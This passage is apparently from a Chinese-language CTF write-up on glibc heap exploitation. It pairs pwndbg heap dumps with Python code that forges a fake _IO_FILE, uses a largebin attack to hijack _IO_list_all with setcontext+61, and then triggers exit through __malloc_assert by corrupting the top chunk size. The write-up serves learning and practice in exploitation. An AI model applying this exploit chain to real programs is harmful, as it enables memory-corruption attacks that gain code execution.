1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5609eb575000 Size: 0x291 Free chunk (largebins) | PREV_INUSE Addr: 0x5609eb575290 Size: 0x451 fd: 0x7f2adf8f70e0 bk: 0x5609eb575b00 fd_nextsize: 0x5609eb575b00 bk_nextsize: 0x5609eb575b00 Allocated chunk Addr: 0x5609eb5756e0 Size: 0x420 Free chunk (largebins) | PREV_INUSE Addr: 0x5609eb575b00 Size: 0x461 fd: 0x5609eb575290 bk: 0x7f2adf8f70e0 fd_nextsize: 0x5609eb575290 bk_nextsize: 0x5609eb575290 Allocated chunk Addr: 0x5609eb575f60 Size: 0x420 Allocated chunk | PREV_INUSE Addr: 0x5609eb576380 Size: 0x441 Allocated chunk | PREV_INUSE Addr: 0x5609eb5767c0 Size: 0x471 Top chunk | PREV_INUSE Addr: 0x5609eb576c30 Size: 0x1f3d1
接下来就是获取到_IO_list_all 的位置,然后进行伪造 iofile
伪造的模板,作者已经提供了,这里是用到了 setcontext 进行参数的设置,我们需要手动更改下 fake_io_addr 的地址为我们控制的 chunk 地址,这里就是 largebin attack 生效的攻击地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 fake_io_addr=heapbase+0xb00 next_chain = 0 fake_IO_FILE=p64(0 )*6 fake_IO_FILE +=p64(1 )+p64(0 ) fake_IO_FILE +=p64(fake_io_addr+0xb0 ) fake_IO_FILE +=p64(setcontext+61 ) fake_IO_FILE = fake_IO_FILE.ljust(0x58 , '\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x78 , '\x00' ) fake_IO_FILE += p64(heapbase+0x1000 ) fake_IO_FILE = fake_IO_FILE.ljust(0x90 , '\x00' ) fake_IO_FILE +=p64(fake_io_addr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xB0 , '\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0xC8 , '\x00' ) fake_IO_FILE += p64(libcbase+0x2160c0 +0x10 ) fake_IO_FILE +=p64(0 )*6 fake_IO_FILE += p64(fake_io_addr+0x40 )
伪造好后的_io_file
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 pwndbg> p &_IO_list_all $1 = (struct _IO_FILE_plus **) 0x7f85fb7ee680 <_IO_list_all> pwndbg> p *(struct _IO_FILE_plus **) 0x7f85fb7ee680 $2 = (struct _IO_FILE_plus *) 0x563e47a6c370 pwndbg> p*(struct _IO_FILE_plus *) 0x563e47a6c370 $3 = { file = { _flags = 0 , _IO_read_ptr = 0x451 <error: Cannot access memory at address 0x451 >, _IO_read_end = 0x7f85fb7ee0e0 <main_arena+1120 > "\320\340~\373\205\177" , _IO_read_base = 0x563e47a6b290 "" , _IO_write_base = 0x563e47a6b290 "" , _IO_write_ptr = 0x7f85fb7ee660 <_nl_global_locale+224 > "\327\341z\373\205\177" , _IO_write_end = 0x0 , _IO_buf_base = 0x0 , _IO_buf_end = 0x1 <error: Cannot access memory at address 0x1 >, _IO_save_base = 0x0 , _IO_backup_base = 0x563e47a6c420 "" , _IO_save_end = 0x7f85fb627a6d <setcontext+61 > "H\213\242\240" , _markers = 0x0 , _chain = 0x0 , _fileno = 0 , _flags2 = 0 , _old_offset = 0 , _cur_column = 0 , _vtable_offset = 0 '\000' , _shortbuf = "" , _lock = 0x563e47a6c000 , _offset = 0 , _codecvt = 0x0 , _wide_data = 0x563e47a6c3a0 , _freeres_list = 0x0 , _freeres_buf = 0x0 , __pad5 = 0 , _mode = 0 , _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f85fb7ea0e0 <_IO_wfile_jumps+32 > }
接下来就是如何触发 exit,利用__malloc_assert 报错,这里可以修改 topchunk 的 size 进行报错。这里依旧可以选择进行 largebin attack. 文章最开始有介绍如何进行连续的两次 attack 。